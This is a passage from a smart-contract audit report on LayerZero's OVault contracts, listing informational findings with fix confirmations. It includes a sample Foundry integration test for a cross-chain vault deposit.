Context: OVault.sol#L12, OVaultUpgradeable.sol#L12

Description: The two vault contracts, `OVault` and `OVaultUpgradeable`, import the `SafeERC20` library from Openzeppelin. However, the libraries are not used in the two contracts. Moreover, the 4626 contracts inherited from OpenZeppelin already utilize this library for transferring assets, making this import and usage redundant.

Recommendation: Consider removing the library import and its declaration from the two vault contracts.

LayerZero: Fixed in commit 78e4aad4.

Cantina Managed: Fix verified.

3.5.3 Function `retryWithSwap()` lacks `nonReentrant` modifier

Severity: Informational

Context: OVaultComposer.sol#L177

Description: All external functions, excluding `lzCompose()` and `retryWithSwap()`, include the `nonReentrant` modifier. Other retry/refund functions have prevented re-entrancy by adding the `nonReentrant` modifier.

Recommendation: Consider adding the `nonReentrant` modifier to all external functions (except `lzCompose()`) to enforce consistent behavior.

LayerZero: Fixed in commit b7c7d540.

Cantina Managed: Fix verified.

3.5.4 Inaccurate documentation for `retry()` function

Severity: Informational

Context: OVaultComposer.sol#L162

Description: The function `retry()` can only be triggered if the `oft.send()` function fails due to insufficient gas. The "peer not set" case is handled by the `refund()` function.

Additionally there are other reasons for `oft.send()` reverts:

- In the `transfer()` → for example USDC and address is blocked.
- In the `_receiver.call()` → that could revert in a `receive()` if its a smart contract.

Therefore, the documentation for the `retry()` function is inaccurate and misleading.

Recommendation: Consider fixing the inaccurate documentation. Also update the related comment in the latest version of `lzCompose()`

LayerZero: Fixed in commit 8dac5778.

Cantina Managed: Fix verified.

3.5.5 Inaccessible functions could be removed from interface

Severity: Informational

Context: IOVaultComposer.sol#L51-L55, IOVaultComposer.sol#L60, OVaultComposer.sol#L116-L121, OVaultComposer.sol#L130-L131

Description: There are two function that are declared `external` but are only used with `try/catch` and can't be called externally. Because they are present in the `IOVaultComposer.sol` someone might think they could be called.

Recommendation: Consider removing the following functions from `IOVaultComposer.sol`:

- `executeOVaultAction()` (`executeOVaultActionWithSlippageCheck()` in PR 1584).
- `send()`.

LayerZero: Fixed in commit adcfe556.

Cantina Managed: Fix verified.

3.5.6 Slippage check in `retryWithSwap()` is not obvious

Severity: Informational

Context: OVaultComposer.sol#L177-L190

Description: Function `_send()` preformance the slippage check, this might not be obvious to all readers of the code.

Recommendation: Consider adding a comment:

```
- _send(failedMessage.oft, sendParam);
+ _send(failedMessage.oft, sendParam); // _send() checks minAmountLD. amountLD >= sendParam.minAmountLD
```

LayerZero: Fixed in commit 4cc35ebd.

Cantina Managed: Fix verified.

3.5.7 Typos in comments

Severity: Informational

Context: OVaultComposer.sol#L206

Description: There are some typos in the comments.

Recommendation: Consider making the following changes:

```
- ... is the not the same as the HUB chain
+ ... is not the same as the HUB chain
```

LayerZero: Fixed in commit cea5b1d6.

Cantina Managed: Fix verified.

3.5.8 Extra checks in constructor

Severity: Informational

Context: OVaultComposer.sol#L27-L37

Description: Several extra checks can be done in the `contructor` to prevent configuration mistakes.

Recommendation: Consider adding the following checks to the constructor:

- `address(IOFT(_shareOFT).token()) == address(OVAULT).`
- `IERC20(IOFT(_assetOFT).token()) == OVAULT.asset().`

LayerZero: Fixed in commit 69c03f0a.

Cantina Managed: Fix verified.

3.5.9 Insufficient testing

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: While a detailed review of the testing suite is outside the scope, some test files lack specific testing paths. Findings suggest there are edge cases, happy and sad paths not covered.

Recommendation: Adding Unit tests to ensure each logic path and error for each function will increase the robustness of the test suite.

However, with a protocol like this, ensuring high coverage for integration tests is crucial to ensure that all edge cases are covered in authentic interactions with OFTs and LayerZero in general.

A sample integration test case, which has near mainnet experience using the pigeon library, is added below:

```solidity
pragma solidity ^0.8.20;

import {Test, Vm} from "forge-std/Test.sol";
import {OVault} from "contracts/OVault.sol";
import {OVaultComposer} from "contracts/OVaultComposer.sol";

import {OFT} from "@layerzerolabs/oft-evm/contracts/OFT.sol";
import {OFTAdapter} from "@layerzerolabs/oft-evm/contracts/OFTAdapter.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {OptionsBuilder} from "@layerzerolabs/oapp-evm/contracts/oapp/libs/OptionsBuilder.sol";
import {SendParam, MessagingFee} from "@layerzerolabs/oft-evm/contracts/interfaces/IOFT.sol";
import {LayerZeroV2Helper} from
↪  "@layerzerolabs/toolbox-foundry/lib/pigeon/src/layerzero-v2/LayerZeroV2Helper.sol";

interface IEndpoint {
    function lzCompose(
        address _from,
        address _to,
        bytes32 _guid,
        uint16 _index,
        bytes calldata _message,
        bytes calldata _extraData
    ) external payable;
}

contract Token is OFT {
    constructor(string memory _name, string memory _symbol, address _lzEndpoint, address _delegate)
        OFT(_name, _symbol, _lzEndpoint, _delegate)
        Ownable(_delegate)
    {
        _mint(_delegate, 100_000e18);
    }
}

contract Adapter is OFTAdapter {
    constructor(address _token, address _lzEndpoint, address _delegate)
        OFTAdapter(_token, _lzEndpoint, _delegate)
        Ownable(_delegate)
    {}
}

contract AuditTest is Test {
    using OptionsBuilder for bytes;

    LayerZeroV2Helper lzHelperBase;
    LayerZeroV2Helper lzHelperOp;

    uint256 baseForkId;
    uint256 opForkId;

    OVault public vault;
    OVaultComposer public composer;

    Token public tokenBase;
    Token public tokenOp;

    Adapter public shareAdapterBase;
    Token public shareOp;

    address OWNER = makeAddr("OWNER");
    address USER = makeAddr("USER");
    address USER_2 = makeAddr("USER_2");

    address ENDPOINT = 0x1a44076050125825900e736c501f859c50fE728c;

    uint32 BASE_EID = 30184;
    uint32 OP_EID = 30111;

    function setUp() external {
        baseForkId = vm.createSelectFork(vm.envString("BASE_RPC_URL"), 32350485);
        tokenBase = new Token("OFT asset", "OA", ENDPOINT, OWNER);
        lzHelperBase = new LayerZeroV2Helper();
        vault = new OVault("OVault", "OV", address(tokenBase));
        shareAdapterBase = new Adapter(address(vault), ENDPOINT, OWNER);
```

```
        composer = new OVaultComposer(address(vault), address(tokenBase), address(shareAdapterBase));

        opForkId = vm.createSelectFork(vm.envString("OP_RPC_URL"), 137945780);
        tokenOp = new Token("OFT asset", "OA", ENDPOINT, OWNER);
        shareOp = new Token("OFT share", "OS", ENDPOINT, OWNER);
        lzHelperOp = new LayerZeroV2Helper();

        vm.startPrank(OWNER);
        tokenOp.setPeer(BASE_EID, addressToBytes32(address(tokenBase)));
        tokenOp.transfer(USER, 100_000e18);
        shareOp.setPeer(BASE_EID, addressToBytes32(address(shareAdapterBase)));
        vm.stopPrank();

        vm.selectFork(baseForkId);
        vm.startPrank(OWNER);
        tokenBase.setPeer(OP_EID, addressToBytes32(address(tokenOp)));

        tokenBase.transfer(USER, 50_000e18);
        tokenBase.transfer(USER_2, 50_000e18);

        shareAdapterBase.setPeer(OP_EID, addressToBytes32(address(shareOp)));
        vm.stopPrank();

    }

    function test_vault_e2e() external {
        vm.selectFork(opForkId);
        vm.startPrank(USER);

        SendParam memory dstSendParam = SendParam(
            BASE_EID,
            addressToBytes32(address(USER)),
            0,
            100_000e18,
            OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000, 0),
            "",
            ""
        );

        bytes memory options = OptionsBuilder.newOptions().addExecutorLzReceiveOption(800_000, 0)
            .addExecutorLzComposeOption(0, 800_000, 0.000025 ether);
        SendParam memory sendParam = SendParam(
            BASE_EID, addressToBytes32(address(composer)), 100_000e18, 100_000e18, options,
            ↪  abi.encode(dstSendParam), ""
        );
        MessagingFee memory fee = tokenOp.quoteSend(sendParam, false);

        deal(USER, fee.nativeFee);
        vm.recordLogs();
        tokenOp.send{value: fee.nativeFee}(sendParam, fee, USER);
        Vm.Log[] memory logs = vm.getRecordedLogs();

        vm.stopPrank();
        lzHelperOp.help(ENDPOINT, baseForkId, logs);

        vm.selectFork(baseForkId);
        IEndpoint(ENDPOINT).lzCompose{value: 1 wei}(
            0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f,
            0xc7183455a4C133Ae270771860664b6B7ec320bB1,
            0x1e962eb6d3f7056bfee4f19540c618820cba214bc8e0f7d8d01a039798972b98,
            0,
            hex"000000000000000010000759f0000000000000000000000000000000000000000000000152d02c7e14af6800000000000
            ↪  000000000000000000f921f4fa82620d8d2589971798c51aed0c02c81a0000000000000000000000000000000000000000
            ↪  000000000000000000000000020000000000000000000000000000000000000000000000000000000000075e800
            ↪  000000000000000000000f921f4fa82620d8d2589971798c51aed0c02c81a0000000000000000000000000000000000000000
            ↪  000000000000000000000000000000000000000000000000000000000000000000000152d02c7e14af68000
            ↪  000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000
            ↪  000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000000
            ↪  000140000000000000000000000000000000000000000000000000000000000000000160003010011010000000000000
            ↪  000000000000000c350000000000000000000000000000000000000000000000000000000000000000000000000000000000
            ↪  0000000000000000000000000000000000000000000000000000000000000000",
            ""
        );
    }

    function addressToBytes32(address _value) internal pure returns (bytes32) {
```

```
        return bytes32(uint256(uint160(_value)));
    }
}the
```

LayerZero: In PR 1600, added more tests on `refund()` with things like:

- Malformed payload.
- `QuoteSendFails`.

Cantina Managed: A few new test cases were added; however, some areas are still not covered by tests.